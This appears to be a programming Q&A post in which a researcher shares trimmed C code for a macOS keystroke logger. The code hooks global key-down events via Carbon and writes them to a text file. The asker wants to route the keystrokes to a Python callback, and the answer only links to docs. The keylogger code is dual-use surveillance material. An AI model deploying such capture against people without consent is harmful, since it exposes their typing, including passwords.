Python and C interaction - callback function
Question: I'm trying to make a key logger for Mac OS for one of my research projects. I
have a C code which will grab keystroke and write them to a text file. (The
following code I have taken out some not important stuff)

What I need to do now is just like PyHook, instead of write the data to a text
file, to pass a Python callback function to the C code and make it passes back
the key input to Python, so I can do necessary analysis with Python.

I have look for how to do it, but honestly I have no idea how to approach
this, as I am not used to C programming or Python extensions. Any help would
be greatly appreciated.

    
    
    #include <Carbon/Carbon.h>
    #include <ApplicationServices/ApplicationServices.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <sys/time.h>
    
    #define NUM_RECORDING_EVENT_TYPES 5
    #define RECORD 0
    #define MOUSEACTION 0
    #define KEYSTROKE 1
    // maximum expected line length, for fgets
    #define LINE_LENGTH 80
    #define kShowMouse TRUE
    
    OSStatus RUIRecordingEventOccurred(EventHandlerCallRef nextHandler, EventRef theEvent, void *userData);
    
    void prepareToRecord(); // install the event handler, wait for record signal
    
    // note that keyboard character codes are found in Figure C2 of the document
    // Inside Macintosh: Text available from http://developer.apple.com
    char * keyStringForKeyCode(int keyCode); // get the representation of the Mac keycode
    
    // Global Variables
    int dieNow = 0;    // should the program terminate
    int ifexit = 0;       // Exit state 
    char *filename = NULL;  // Log file name
    FILE *fd = NULL;   // Log file descriptor
    
    int typecount = 0;          // count keystroke to periodically save to a txt file
    
    struct timeval thetime;  // for gettimeofday
    long currenttime;   // the current time in milliseconds
    
    int main()
    {
        filename = "test.txt";
        fd = fopen(filename, "a");
    
        // Get RUI ready to record or play, based off of mode
        prepareToRecord();
    
     return EXIT_SUCCESS;
    }
    
    // event handler for RUI recorder
    OSStatus RUIRecordingEventOccurred(EventHandlerCallRef nextHandler, EventRef theEvent, void *userData)
    {
     // Determine class and kind of event
        int eventClass = GetEventClass(theEvent);
        int eventKind = GetEventKind(theEvent);
    
        /* Handle Keyboard Events */
        if((eventClass == kEventClassKeyboard) && (eventKind == kEventRawKeyDown)) /* key release implied */ {
            int keyCode, modifiers;  // what did the user press? any modifier keys down?
    
      // gather keystroke information
            GetEventParameter(theEvent, kEventParamKeyCode, typeInteger, NULL, sizeof(keyCode), NULL, &keyCode);
            GetEventParameter(theEvent, kEventParamKeyModifiers, typeInteger, NULL, sizeof(modifiers), NULL, &modifiers);
    
            // What time is it?
            gettimeofday(&thetime, NULL);
            currenttime =(((thetime.tv_sec*1000000) + (thetime.tv_usec)));
    
      fprintf(fd, "%s\n", keyStringForKeyCode(keyCode));
    
        } 
    
        return EXIT_SUCCESS;
    }
    
    
    void prepareToRecord()
    {
     EventRecord event;  // holds an event for examination
    
        // Types of events to listen for
        EventTypeSpec eventTypes[NUM_RECORDING_EVENT_TYPES] = {{kEventClassKeyboard, kEventRawKeyDown}};
    
     // Install the event handler
        InstallEventHandler(GetEventMonitorTarget(), NewEventHandlerUPP(RUIRecordingEventOccurred), NUM_RECORDING_EVENT_TYPES, eventTypes, nil, nil);
    
        // event loop - get events until die command
     do {
            WaitNextEvent((everyEvent),&event,GetCaretTime(),nil);
     } while (dieNow == 0);
    }
    
    
    char * keyStringForKeyCode(int keyCode)
    {
     // return key char
     switch (keyCode) {
      case 0: return("a");
     default: return("Empty"); // Unknown key, Return "Empty"
     }
    }
    


Answer: It's easy - Just Follow the instructions - [Calling Python Functions from
C](http://docs.python.org/release/2.5.2/ext/callingPython.html).

Alternatively if you are trying to call C/C++ functions from Python you can
use [SWIG](http://www.swig.org/) or one of Python's module
[CTypes](http://docs.python.org/library/ctypes.html)

